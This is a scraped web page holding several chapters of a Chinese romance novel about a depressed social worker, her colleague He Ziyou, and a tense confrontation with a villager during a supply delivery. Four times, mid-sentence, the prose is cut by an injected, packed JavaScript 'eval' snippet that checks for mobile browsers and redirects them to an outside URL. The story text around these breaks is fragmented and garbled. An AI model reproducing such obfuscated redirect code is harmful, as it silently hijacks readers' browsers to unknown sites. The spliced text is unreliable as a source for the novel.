“嗯?”听人说话时,代澜下意识咬着嘴皮,问句袭来,她急忙敛唇澄清,“没有,当然没有,是我该和你说谢谢的。” “这有什么的……”他笑着宽慰。 “不,”慌乱中还是逃避视线,盯着那份微黄的报纸,终于要坦白酝酿了一天一夜的心事,“我是想说前天晚上的事。” 那夜她乱了心神,没能逃过情绪的操控,被动揪着男人一句话陷入漩涡,也让他也不安,还白受了安慰。 事后清醒,自责沉甸甸,更对他抱歉。 稍加整理,清了清嗓郑重重申:“是我的问题。” “我……”代澜想接的是“自从抑郁后”,但终究没说出口,咽下一口水,“经常这样,思维有些一头往里栽,忍不住怪自己。” 楼下的唱戏声和他们似乎是两个世界,胡思乱想泡在建筑营造的蓝色阴影下,只是寻到了一个不如指头大小的出口便争先恐后往外逃。 “明明知道不该那样想的,只是有点控制不住……” 明明她想的是轻松道谢,可触碰到不堪时,哪怕只有一丝丝,也无法压抑自己,慌忙垂头,掩饰哽咽迹象。 真是荒谬啊…… 为自己泪失禁的体质而荒谬,也为在大庭广众下,尤其是在何子游面前屡屡失控而荒谬。 再次深呼吸,强鼓起勇气,试着洒脱些,将摇摇欲坠的掩饰掀开,无所谓对方会怎么看。 这里恰好是监控死角,代澜早确认过,也不会被收音。 她一定要把还没说完的感激说完。 “你能对我说那些话,我已经很感谢了,真的。” 重新整理后,代澜脸上支起一份故作轻松的笑,说到最后一句,眨巴眨巴眼让泪水撤退,她才敢对上旁听之人的视线:“非常谢谢你开解我。” 曾经有很多人经过她的沼泽,有人在岸上说加油,是无关痛痒的俯瞰怜悯,有人也向她扔过绳索,是真心实意的帮助,代澜都一一致谢。 本来就行路匆匆,能得到一眼关心就够知足了。 从垂死挣扎到自我麻痹,最后到习以为常的麻木,正因为她知道要走出来太难,所以对额外的照顾分外感激。 但除此之外,代澜也不敢奢求能得到更多帮助。 毕竟连自己都厌弃自己的情绪,他人也有要走的路,又怎么能要求别人为自己驻足,甚至连同自己那份都背负着往前走呢? “还会有明天的,阿澜。” 何子游抱着过期的报纸,不将她过去夜里流过的眼泪轻描淡写,只说未来不停歇。 他眉眼落下的温柔数不尽,似乎不论从前如何狼狈都能有被抚平的勇气。 可,也只是似乎。 折边的纸,再摊开也会留痕。 “没事的,”她耸耸肩,终于还是勾起嘴角,降低对自我或他人的期待,才不会落空,“不用这样安慰我,我都习惯了,你就和其他人一样就好。” 其实每次说完心是会痛的。 “那可能我不是其他人。” 痛戛然而止。 原意温柔,可眼中却多了坚定,这让她反而落入怅惘与困惑。 茫然之际,伴随话语续集,男人的手意外抚上她头顶。 代澜被这动作引着心,惊得瞬间屏息,稍微往后缩,双眼都不知该往哪里望。 身子僵住,他指尖似乎捋过发梢,将一根绒毛慎重牵下,如对待稀世珍宝,在她眼前晃了晃,最后被人收入掌心。 旋即她听见那句曾在不同层的相同地点偷听见的话。 只不过这次就在眼前,代词被改变。 “你也不是别人。” ——所以呢? 她想,这中间应该插播这一问。 因为下一秒何子游便微微歪头,明明蓝色是这般的冷,他却涉险,而后给出答案。 “请你试着相信我吧。” 男人忽地笑,蓦然间眸中竟闪过泪光,在寻常秉持的恣意中留下笃定去守恒。 紧跟着一道利刃刺破她酸胀的心,重回贪婪火舌疯狂啮噬前,他的那一眼。 “像我相信你一样。” 如果换作是其他人,代澜一定会觉得对方实在自大,自大到认为他可以将一坨烂泥捞起,然后她在旁边阴暗地嗤之以鼻。 但这个人偏偏是何子游。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915814|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知为何她早已燃成灰烬的心竟会激起一丝丝渴望。 是对生机的渴望吧……她这般想。 所以,或许可以依靠着试试? “好。” - 新的一周。 代澜坐在办公桌前整理今天要递交的表格时,门口有人声先到:“天啊,难道只有我一个人睡醒了腰酸背痛吗?” 紧接着一团怨念出现。 她分神视线跨过隔板去看,就见宋汝然又是捶背又是捏肩,嘴上还坚持不落下卖惨:“早上起来好酸……小腿肚痛痛……” 又是“诶呦”一声,扑倒在余渔怀里,搂着人怎么都不撒手。 “可不是只有你嘛。” 高荔端坐在电脑桌前,瞅见两人卿卿我我就忍不住发笑。 上周的档案她还在做最后比对收尾,待会儿就要出发去送年前最后一波物资,赶时间,却舍不得落下几句调侃。 “昨天提醒你要下乡的,陪他们打羽毛球别这么High,你倒好……” 周日是自由活动,不过刚好几个爷爷奶奶带了自家孙子孙女来。 说是爷爷奶奶辈,实际上常年锻炼,身子骨还算硬朗,大家借大院的篮球场上打羽毛球。 代澜本以为只是围观,结果一个球带着邀约飞来,让坐在身侧的宋汝然猛地燃起了斗志,结果加入战场后被爷爷奶奶打得一败涂地…… “我确实高估了自己……”宋汝然投降,顺带被同样还要再睡会儿的余渔搬回了自己桌。 球场失利,身子“虚弱”,还惨遭“无情”驱逐,女人语气蔫蔫。 “嘿,怎么都死气沉沉的?”手上纸张卷成筒,吴楠涛敲敲门当做提醒,只是进门先瞧见现眼包,还以为生病倒下了又一个,立马关怀,“怎么了这是?” “没没……”玩笑也不能耽误事,宋汝然立马强撑起身,还了个标准微笑。 脸藏在电脑后,代澜偷笑,手上操作却不停,在吴楠涛确认人真的没事之前,将文件摁下确定键上传。 “走吧,东西都送上车了,就差你们几个了。”吴楠涛胖手搔了搔他若有似无的头发,看上去还没从周末外出剪发,理发师把发型剪毁的阴影里出来。 几个女生一边调侃着让他少摸头以免影响头发再生,一边笑着收拾东西下楼。 只是刚下楼,她们才发现了一份大惊喜。 “不是吧!新车!”余渔作为最先走出电梯的人率先发现改变。 别说余渔,连代澜这个提出换车的人也不知道公司居然换得这么迅速。 走近了才发现,原来这也是联动了金主爸爸提供的新车。 她们来得不算迟,因为徐扬帆还在对这辆面包车好奇地打量:“这难道是为了我不再晕车……” “有点自以为是了啊老铁。”宋汝然啧啧几声,伸长了手拍拍这位高个子的肩,“这一看就是有人往上提议了要新车。” 代澜没忍住瞥一眼这位机智的女子,就在这间隙,有人插兜晃悠晃悠,漫步到她和宋汝然之间的空档,挡住了视线。 她总要沿着身形向上探究这个挡住视线的是谁人,以至于连宋汝然后半段说些什么都成了耳旁风。 今日身着轻便运动套装的男人又怎么会忽略这道目光,立领遮口鼻,留下锋利双眼,在镜头下不动声色侧头。 猝不及防对视,代澜头脑还在放空,何子游先她回神一步扬眉,锋利瞬时被化解成绵,仿佛在人前人后偷渡仅有两人熟知的暗语。 着意后再自顾自朝前走重塑锐利,直到后备箱留给她背影,帮着吴楠涛整理物资。 一套动作下来行云流水,只剩代澜原地迟钝。 他刚刚是在……? 29. 帝释青 新面包车坐着虽然舒服,可那股皮革味着实让代澜闻着犯恶心。 口罩戴好,她侧着身子窝在第二排角落,任其他人兴致勃勃也不发言半句。 实在是太难受了…… 山路加皮革味的BUFF叫人头晕,胃里翻山倒海,一下车先冲去路边把早餐吐了个精光。 “啊!天啊,你这……”宋汝然在车上就看代澜脸色不对,看她一下车便紧跟过来,只是还没靠近就见人难受样,一句话没说完,立马又转身想回去帮忙拿瓶矿泉水。 不过刚跑出几步,高荔就匆匆赶来,帆布袋化身百宝箱,她从里头翻出保温杯,赶紧给人斟上一口热乎的水备好:“吐出来舒服点了吗?” 代澜没说话,从弯腰到蹲在杂草丛旁只需两次呕吐,过后缓了阵,一只手从身后又递来纸巾。 呕到没力气,下颌难受得很,转不过去头只能斜眼看是谁。 “我给你擦吧。”原是余渔,着急慌忙地就着纸巾往她嘴上蹭,代澜显然还没从那股劲里出来,茫然地任人摆布。 歇了一会儿又喝了几口高荔的热水,宋汝然摸摸她额头确认中间没有再次发烧的缘故,众人才安心。 “好了……我真没事,吐了就舒服些了。”因为刚吐过,连说话也添了层鼻音,反复吞咽动作中,代澜摆摆手,反倒不好意思起来。 “我还以为只有我和余渔晕车呢,上次你还坐在最后一排,唉,要不然回去的时候我和你换个位好了。” 虽说徐扬帆方才和何子游忙着将物资整理下车没过去照看代澜,但忧心依然,此刻也是懊恼,挠了后脑勺好几下,连理好的发型都有些乱。 换车后,第二排的座位同样升级,起码徐扬帆坐着稳当,这次甚至能和大家说笑了。 一直坐副驾驶的余渔无语:“就你还让座呢,要坐也是坐我的副驾,你就老老实实在后边吧。” “没事……”她轻笑回应,心底总被他们关怀温暖,连着胃也舒缓些。 节目前从未想过能和他们如此融洽,也还好他们都是顶好的人…… 代澜依次扫过他们的笑脸,神色也不自觉柔和。 看几人调侃,不舒服的代澜精神稍微恢复些许,吴楠涛终于打完电话,边耸耸肩活络着身子,边走过来先关心几句再指挥:“走喽,每个人的东西都分好,咱们该出发了!” “好!”众人齐应。 - 要说今天天气其实还不如昨天。 因着大棠村近山,本就多云的天际又增添雾色,向山张望时还有小小房屋坐落雾气中若隐若现。 代澜被雾钻得有些冷,紧了紧外套,因为刚吐过,走着没劲,所以稍微落在后头,有宋汝然陪她。 大棠村要走的人家少,何况也不算下乡,只是放下物资就能走,一个上午足矣。 巧的是,最后两家恰好在一南一北两个方向,距离还是有些远,为了节省时间,索性兵分两路,代澜和吴楠涛便成为两队队长,由微信里投骰子来决定队伍。 “单数是我,双数小澜哈。”吴楠涛对这种听天命的活动最感兴趣了,背着手在几人身边兜来兜去期待结果。 “好家伙我跟你了。”徐扬帆率先骰出,伸出屏幕给吴楠涛看。 对方随口应答:“可以可以。” 身侧余渔悲鸣:“怎么是单数啊!” 徐扬帆高度警戒,撑腰质疑:“和我一队不好吗?” “就是不想和你一队啊——”余渔深呼吸痛苦呐喊转半圈,被宋汝然一手拉住才停下,她佯怒道,“不行,这次不算,我要重来!” “你个大女的怎么还耍赖呢!” …… 单数队那边闹腾,这边另有玄机。 “我双数。” 代澜在手机上盯着群聊,淡声响起时不自觉抬头看说话者。 却不知何子游同样将眼神侧向她。 她似撞了火,飞快避开视线,看群聊却不见何子游发出骰子,而吴楠涛也好奇:“怎么没见你扔?” 话语淡定,人更从容:“不知道你们都是在群聊里发呢,顺手点开文件传输助手发了以后才发现,喏。” “哦,也行吧。”眼见吴楠涛瞟了眼屏幕同意,代澜心里虽然觉得怪,可也说不出什么所以然,只呆呆抱着刚擦了风油精的肚子站一旁。 待人极其自然地从车旁走到她身后,队伍也分配完毕。 加上两位队长本就一共七人,因为这次是送物资,所以并不需要村委会出面,两队总要有一队多出一人,而这一人名额便落在了代澜队。 至此,何子游、宋汝然和高荔被归为代澜队,与吴楠涛几人告别后朝着山上走。 代澜先看了眼文件,确定是去哪户人家。 纸张匆匆翻过几页,最后定格在“盘庆义”一栏。 上次独自带队也是去他们家。 想来还是有些巧合,不过还好……这次,或许能更勇敢。 有了上次的经验,她在心底为自己打气,咬着唇上起皮思考待会儿要怎么与人沟通,又在抵达前再打电话确认是否在家,明确后领着几人直奔目的地。 然而直到到达,又等了二十分钟,一行人仍不见盘庆义的身影。 手机解锁,代澜第三次拨打对方电话,然而除了电话通话中,没有其余回响。 “喂!有人在家吗!”宋汝然高声呼喊,再次用力敲他们家的破铁门。 在不知道耳朵不好的盘庆奇是不是在家睡觉的前提下,他们只能这样茫然努力着。 只是屋里似乎真的没人,不论怎么喊,宋汝然怎么敲门,都不见回应,这倒是极反常的…… 高荔双手交叠在胸前背靠墙边,低马尾从后脑勺处绕至锁骨,沉静优雅,为结束等待提供思路:“第一次打过去的时候,盘庆义是怎么回的?” “他只说了‘等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978311|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等就到’。”目光垂落手机小小屏幕,代澜也不知该如何是好。 未接通的电话,无人开门的房子,小小村落哪里需要这么长的时间绕路。 心中忐忑不安,担心对方是为了他们的到来赶时间导致在路途中遭遇不测,也烦心赶不上吴楠涛那边的进度,叫人等太久。 一时思绪繁杂,扰乱神经。 “说不定只是因为在开车所以不方便接电话而已,再等等看,不行就联系一下涛哥,看看他能不能找到人。” 何子游不紧不慢,先前立起来的领早被折落,抚平了清早张扬,此刻半靠墙,摆弄着手机倒是悠闲,好似巴不得摸鱼的时间能再多些。 从容强势攻占,代澜那份焦躁被勉强压下,不过也只是点点头,蹲也蹲不住,只得在他家门前踱步。 忽地手机振动几下,她连忙点开微信,却见来自何子游的信息漂浮在最上:“别急,还早。” 因这句,立在白墙旁存在感渐强的那人总叫代澜不可自抑地要望向他,然而下一秒,小巷里传来熟悉的摩托车声,视线紧急拐了个弯。 谁知等来的却是另一个五大三粗的壮汉。 “这谁?”那扇铁门都快被宋汝然敲出一首完整的歌,见有人过来,她才将褪到肘部的衣袖捋下整理仪表。 摩托隆隆靠近。 代澜转了个身朝向她,不过脸色不太妙:“邻居,叫盘纬雄。” “哪家的?”她说得小声,高荔见代澜回避动作也嗅到一些不同寻常,主动往前走几步降低音量参与讨论。 “那……”在那人眼皮子底下,代澜只能眼神示意。 一直靠墙的男人早就过来,不知不觉绕到更靠小巷出口那面,代澜原本还想着不知何子游有没有听见,瞧见他这走向,心里也明了七八分。 不同方才兀自在边上发呆模样,此刻何子游似乎将谨慎拉满。 眼神锐利而在代澜发现之前掩去锋芒藏于水面之下,双手转作交错至胸前,在几人附近晃作随意,盯着地上的石子踹。 代澜视线被它所牵引,看石子骨碌碌滚来滚去,正巧弹到他们最近的减速带前。 下一秒,壮汉驾驶的摩托车便跃过最后一个减速带,碾上那粒坚硬石子,石子被挤压弹到转角墙边,而摩托车的噪音在一扇大敞开的门前停下。 再回神,正巧看见盘纬雄翻身下车。。 村里人开车不习惯戴安全帽,男人满脸横肉,警惕虚眼对他们上下扫视,厚唇角叼根烟,一看就是不好招惹的那派。 见他们几人够胆也打量回来,将烟两指抽出往边上随手一丢,喉里长咳清痰。 分不清是故意还是无意,痰出口便是往他们方向吐,哪怕并不能对他们构成威胁也是满满警告之意。 再开口,是抽过数年烟的糙嗓,好似靠近就能闻见一鼻子味儿,语气厌烦不加掩饰,直叫人皱眉。 “村的还是政府的?” 30. 帝释青 风扑簌簌卷过地面落叶,为一瞬间的冷却缓和。 攥住半边心脏,代澜还没忘记先前潘纬雄咄咄逼人的模样,此刻没有前辈挡着,她作为领队怎么也要顶上:“你好,我们是‘百善’的社工,快过年了来送物资。” 她谦逊有礼,说“你好”时点头致意,没有主动找话题的想法,只全身心防御。 潘纬雄“啧”一声,手上兼顾从裤袋里再取出烟盒抽根,左手打火机“踢嗒踢嗒”配合恰好,老烟民的烟要续杯。 “你们这个摄像机就是之前说录节目的吧?” 代澜脸上微笑凝固,正要回答,不想却被宋汝然抢了先。 “对啊,正在录制中,如果不想入镜的话我们后期会打上马赛克或者直接剪辑,叔叔您就放心吧。” 她侧头正巧对上宋汝然目光,后者迈步与她齐肩,眨眼示意安心,显然是不愿只有代澜一人和这位看上去并不好惹的壮汉搭话。 潘纬雄顿了顿,嘴边烟又卸下:“那就给我打个马赛克,我可不出镜。” 话是这么说,可这人一点躲避之意都无,撇着脚立在自家门口,存在感十足,眼神紧抓着代澜不放,似乎又在酝酿什么事 手指往墙边顺手弹几下,又抖出些烟灰,他盯着代澜的眼神被何子游阻挠了好几下,最终以她别过身错开对方视线告终。 “这人到底是干嘛的?”宋汝然还造着微笑的型,嘴里含糊道,“不想被录怎么还不回家?老感觉他对我们有敌意?” 代澜压低声量,简短提示:“之前因为修路有点矛盾。” “修路?”高荔挑眉,一句话连带着何子游也留意地面,不过还是她先发现关窍。 越品越有,女人哂笑,与代澜对视一眼,从人情世故里先上岸:“懂了。” 高荔顺势瞥视何子游,而后者趁着兜圈转身的功夫只歪了歪头又努嘴,大意是懂了。 现在就剩一个宋汝然。 她盯着脚下这片地,水泥路从小巷里弯弯绕绕延伸到脚下,而再看一眼盘纬雄家门口那片光秃秃的泥地,宋汝然半知半解:“我们故意没给他修路?” 可这话刚道出,被议论的主角就发话:“上次也有你来吧阿妹?” 暗里挑衅,代澜只当听不懂,以笑规避争执,背手抠得起劲:“对,上周和他们一起来的。” 这句说完后,现场冷却了几秒,壮汉若有所思,紧接着讥笑:“啧,你不是知道我说的什么吗?” 足够威胁的一句,让代澜后背沁汗,依旧强撑维持脸上表情,可若是细看便禁不住,全然是细微颤抖:“嗯?说什么?”。 她脑袋像生锈的机器被强制运行,吱呀吱呀连轴转,即便再麻木也知道这些事不好拿到镜头前说。 这既是为了保护盘纬雄,也是在保护自己和这场无硝烟战争中匿名的村委会。 盘纬雄也不急,眯着眼让蓝烟从鼻孔里冲出去,他两指衔烟朝下掉出几粒火星,下巴跟着一昂:“不扯了,我就一句,趁着有镜头,就当着节目组面呗,你们给个准数,什么时候给我修路?” “嗯……”代澜还是不由自主回避这威逼注目,浅笑快挂不住。 盘纬雄素来妄自尊大,村里每每有什么活动,不出来争几句都是稀奇事。 村委会组织村民下载利民软件,教如何使用小程序参与村务,他要说句这是为了偷他们手机隐私数据。 县医院下乡为他们义诊,盘纬雄带着几个“兄弟”到处说这是没病找病,叫人上医院浪费钱。 说回修路这档子事儿,当初组织时,明明是盘纬雄自己固执认为村支书让他们修路为的是贪公款中饱私囊,还认为一旦修路,他家门前的地就都归村委会了,所以不愿签字。 村委会是为了他们路能修通,便利民生,结果还要背着黑锅上门心平气和劝人,误会的点澄清了千百遍,可依旧挡不住尖酸刻薄下的各种流言。 陆树广在村民间已经够有威信了,可因为这些谣言,也被烦得整夜整夜睡不着,更何况是其他工作人员呢? 当时“百善”入驻不久,也正好是代澜来实习的时候,作为缓和村委会和村民矛盾的第三方之一参与协商。 也因此到最后期限,盘纬雄签下确定拒绝修路的协议时,代澜也在场清楚见证了他嘴脸如何。 但正所谓前面有多嚣张跋扈,后面打脸就有多狠。 因为修路是大阵仗,耗时长,代澜那时毕业也不在场,往后都是听人转播。 路修好不到两个星期,男人就受不了了。 听说原本答应和他一起签拒修协议的几个“好兄弟”背叛了自己,家家户户出行通畅,唯独自家出入依旧满泥泞不堪,把他气得够呛。 盘纬雄明知自己无理,可怎能咽得下这口气呢? 于是他又跑去村委会大闹,怪村委会没和他说清楚,吵着要让村里把他家门口的路补上。 村委会表示,晚了,施工方早撤退了,也没给这部分钱,你要修还是自个儿另请高明吧。 可自己去请人修价格和村委会一起修差别可就大了去了,盘纬雄怎么可能答应呢?也因此,两方有了现在局面。 “这个问题我也不清楚,我们只是社工,不涉及这方面,您可以去问问村委会的。”代澜说得很委婉,也很诚恳体面。 其实问题到这里就该结束,但盘纬雄既然问了就不会罢休。 “不行,既然你当初就在场,说明你有资格参与这个事情,来来来……”他情绪不知为何倏然激动,一甩手丢了烟头,壮汉被短款羽绒裹着更臃肿,迎着还未消散的蓝烟便要靠过来。 不论是好意还是歹意,当看见近一米八的男人板着脸,左手还别着他那紧绷牛仔裤袋口紧逼过来时,代澜还是会下意识后退半步,原本客气神情此刻也被蹙眉破解。 “这位先生如果要问修路的事应该直接去找相关方,您和我们来说确实没办法。”高荔瞧着不对从后方也迅速走上前,肩膀略微让盘纬雄捕捉代澜的视线被错开,反应极快地应对。 而何子游更在意,原本还晃着兜圈,现下也不踢石子了,就这么插兜正对来人方向,将来路从中途彻底阻断。 更高个带着难以忽视的气场俯视装腔作势。 局势几秒之内变幻。 代澜从后面看,不知何子游作何表情,只知盘纬雄走到离他两米左右处脸色由阴转疾风厉雨,提起手指着高挑男人就是一句脏话。 她的心揪起之时手腕忽地被人抓住,惊得猛地低头望向手腕,再迅速沿臂往上扫。 是宋汝然,一个眼神镇住代澜心底风浪。 然而还不够,因为盘纬雄似乎在发飙边缘反复试探,毫不掩饰自己对村委会的不满,并借机投射在面前几人身上,几句怒骂将代澜的心再次高高提起。 “谁不知道你们是村委会的人啊!你们都是一伙的!就搞针对是吧?” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026318|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愤然,胸口随着气息不稳剧烈起伏:“信不信我直接向政府投诉!” 还未等代澜回击,盘纬雄迅速冲到摄像机前厉色,而摄像师本想躲开,却因为位置不佳正巧被堵在柴火堆旁进退两难。 宋汝然夹缝中烦躁快速追问:“你刚刚干嘛了他突然这样?” “我刚刚真没激怒他!”何子游也无可奈何,代澜甚至能在他语气里听出些挫败之意,显然是为对方突然调转目标而自己没能第一时间反应而懊恼不及,丢下这句立马速度冲向盘纬雄。 “镜头都拍下来了!你们叫什么,什么‘善’的社工,你们这群人偏心眼!不帮人民群众,就知道跟着村委会欺负、欺负人!” 他嚷到最后甚至眼眶都泛红,眼看壮汉被逼至这般境地,所谓男儿有泪不轻弹,若是从头到尾不了解情况的人定会听信谗言。 “全村人都修路了!就我家不修!歧视我们家!”盘纬雄哭腔与粗壮身躯完全违和,演戏演到最后连自己都骗了自己。 见识过男人的骚操作,几人一拥而上,将他从摄像机前拽开,生怕盘纬雄不小心摔了设备,回头说不定还要被讹上笔大的。 场面一时混乱。 何子游力气最大,直接从人肩后一拽衣服,先阻挠盘纬雄对摄像师的“骚扰”。 “请你不要这样!”宋汝然紧跟着过来手忙脚乱帮摄像师扶机器,助理顺势协助摄像师“逃出”后,她展开双臂挡在两人之前。 盘纬雄嘴上依旧不饶人,见到手的摄像机被撤走,成串的脏话劈头盖脸,要是真要把这段放进正片里恐怕都不过审。 代澜被他接连推搡了好几下,慌乱中向后跌了几步,侥幸被高荔伸手一牵拉回平衡,可依旧是吓得急喘,捂着胸口还未从短暂失衡中回神,就听一句怒斥—— “你再动一下试试!” 犹如平地惊雷,何子游语调不高,可声压震人,响声回弹在四面墙之间而男人悍然不动。 见过他弯眉温柔,没见过他真的发怒。 代澜一直以为随性到最后还是潇洒,可她似乎把他想得太自由。 ——也许这也是自由,拥有放肆揭露怒火的自由。 何子游浑身似旋了寒风,压迫感骤然降临,被拧着手腕的男人在目眦欲裂对阵冷光凛然中节节溃败,喉结上下一动,厌弃地松了力再着势将桎梏一甩,还是嘴硬如旧。 “我呸,他妈的就知道欺负老实人!” “老实人?我靠,没见过这么厚脸皮的!”盘纬雄恐怕将宋汝然彻底惹毛,放飞自我,女人也不怕是在镜头前,巧舌如簧同他对战了好几个来回,成功将战火转移。 代澜在混乱中紧急从裤袋里掏手机要报警,还要给吴楠涛和村委会的人打电话,可因为手抖个不停连简单的从袋子里掏出手机都滑了好几回。 她努力控制着情绪,可情绪却不允许她放过自己。 双手握着手机光是输入密码就失败了两次,第三次成功后喉咙便有异物感,顶着呕吐欲反复吞咽抑制。 1—— 背景音是男人破防后的激烈咒骂。 1—— 冷风擦过代澜鼻尖,耳旁忽地传来一声稚嫩的尖叫,要摁下“0”的指尖狂颤不停。 代澜飞速回身向着尖叫的方向,不出意外的是脖颈连同脊椎锁死绷坏。 出意外的是一个年仅两三岁的男孩似乎从盘纬雄家门口才跑出来,眼瞅着男人大哭不止。 31. 帝释青 所有人的动作都因这突如其来的变故僵在原处。 代澜掐断屏幕的光,想要放松,头却忽地猛然抽动! 动作只在瞬间,她被自己不受控的行为惊得呼吸急促,错愕中下意识瞥向那边纠缠双方中,谁人的视线方向是否会注意到自己的失常。 ……似乎没有。 莫名的抽搐在代澜生活中早有痕迹,不过是焦虑和抑郁躯体化的一部分,可真正突袭时还是会恐慌,或者是恐惧被其他人目睹后视为异类的眼神…… 但现在最重要的不是这些。 代澜用力咽了口水,强行让自己镇定。 湛蓝马甲包得严实的孩子,他走路不稳像保龄球,巴掌大的脸被肉挤得满当,依稀辩得与盘纬雄几分相似。 众人目光都落在他身上,所以代澜也是。 只见小孩哭喊着“爸爸、爸爸”,就张开双臂朝盘纬雄摇摇晃晃而去。 盘纬雄舍不得软肋,将何子游钳住他的手使劲往外一撇,得到解脱便快步迎了上去:“我在呢,在呢,爸爸在……不哭不哭……” 代澜知道这小孩叫盘杰,今年三岁,身形却比一般三岁小孩胖了一圈,是盘纬雄家里娇生惯养的主。 她与几人交换眼神,正想瞄准时机和盘纬雄继续交涉,谁知突然又从房子里冲出来一个女人。 脖子上围裙顺风贴在身上,手臂上套着的袖套图案早褪色,冬日里被冻得惨白的手湿漉漉地往衣服上胡乱蹭,一路挥落的水滴溅在砖石上,很快洇出小花。 不用多余介绍便知她就是孩子的母亲。 她叫瞿婷,远嫁而来,下乡几次,代澜和她只打过两次照面。 第一次是她初次下乡,也是来看望盘庆义兄弟俩时遇见的,那时瞿婷正在屋外房檐阴凉处择菜。 天气热,见一行人在门口等开门没个凉快地,主动让他们到房檐下坐,还倒了水送给各位。 几分钟的事,匆匆而过,代澜对瞿婷印象很好,勤劳而善良。 第二次便是盘纬雄闹着修路的事。 两方吵得凶时,卧室门也锁不住孩子受惊的哭声,盘纬雄借着怒气“砰”地开门,嚷嚷着让瞿婷管好孩子,哭这么大声烦人。 男人太过气愤,卧室门被掀开时代澜恰好看见女人搂着孩子坐在床上。 事情发生得太突然,丈夫的责骂劈落得太快。 木桌上杂乱,半开着的老式雕花衣柜,报纸贴窗折落一只耳,隐私空间毫无防备被打破一道墙。 瞿婷的神情从惊慌很快变麻木,再到习惯性妥协,可下一秒在触及代澜的神情时似乎蓦地清醒,可终究是短暂。 房门被再次掩上时,代澜很确定女人最后留下的颜色是放弃。 她的回忆如水滴入海同样的无能为力,眼前房前途径小院,瞿婷慌张赶来。 代澜紧蹙的眉被她匆忙所视,女人微微点头示意。 她竟然还记得我? 只是未等自己回应,对方眼神便错开落在儿子身上,生怕被坏脾气的丈夫发现。 但还没等女人匆匆赶到身边,盘纬雄一记眼刀就往她身上砍,狂躁怒骂:“干什么吃的?看个小孩子都不会!” 几秒间是盘杰目睹争吵,夹在两人间哭得吊嗓哇哇大叫。 而在低声下气的“对不起”中,他从暴躁的父亲怀里转移到沉默的母亲手中。 孩子的出现似乎为旁人的加入拉开了一道口子。 女人抱住盘杰晃着哄没几秒,从另一条巷子里拐出来几个村民,原本只是平平无奇路过,可这紧绷的阵仗怎么看怎么有事,加上看见摄像机,竟立在一边左右瞅瞅不走了。 哭声渐缓。 “回去别出来啊!正说要紧事呢!”盯她背影,盘纬雄叉着腰往地上又吐了口浓痰,在几人身上没找回的场子怎么也要在妻子身上找回,一转身先剐眼在角落偷看的村民们,“看什么看!神经!” 那几个村民扯了扯嘴角,似乎对这情景习以为常,被骂了也无妨,背着手在边上一脚踩着摞高的砖头没走的想法,有一位甚至大喊“雄哥威猛喔”。 而这些助威相当有效,原本因孩子的出现,“单打独斗”士气稍减弱的盘纬雄又有了重燃的苗头,挑衅道:“还有你俩啊!对我大呼小叫什么?是个明星就敢欺负人?回头我就找记者……” “……够了!” 可是她不想再听他肆意的辱骂了。 代澜这句话并没有吼出来,沉声让愤怒被包裹在肌肤下,而颤抖成为焦虑的形态。 她不知道在场的人是不是都看向她,只感受到下颌僵硬,吞咽一口都生涩。 被咬得极短的指甲在手机胶壳上刮出一道长长的痕迹,让蓝色汹涌而出。 满脸横肉的男人只被这声吼叫镇住四秒,很快反应回来反击:“够什么够!摄像机!摄像机录下来了吧?社工对我撒泼!有人……” “盘纬雄我警告你!” “你之前已经和村委会签了不参与统一修路的合同,是具备法律效力的!” 代澜好久没有这般嘶吼过,好似积攒已久的委屈都随着字句磅礴而出,一时竟难以自控。 大脑有一瞬空白,再是寻回身体所有触感,嗅觉,听觉,还有心尖上无比酸涩的一点。 可争执向来不是自己强项,她的泪又隐约有失控的倾向,每一句话都捎上水汽,明明自己占理,也似乎差了些气势。 “这是两码事!”盘纬雄脸被逼得火红,和清冷阴郁的天完全两个极端。 他反驳,五个字震在地上发出巨响,余光瞥见几个村民窃笑,更是火上浇油。 “我是被你们骗着签的!而且现在我要单独修和你们统一修……这怎么能是一回事?” 心脏快从喉咙,从耳朵,飞出来,代澜怀里的文件被环死,手臂上被卡板硌出的痛将她的灵魂回召,让清醒理智停留得再久些:“就是一回事!合同上写了后续如果你想修,村委会不再负责……” 鼻子发酸,眼泪跟着就要从眼角涌出来,她还对着盘纬雄梗着脖子,维持对吵的模样,丝毫没发觉一旁情况。 直到有人将自己温柔搂入怀里,她才从激烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 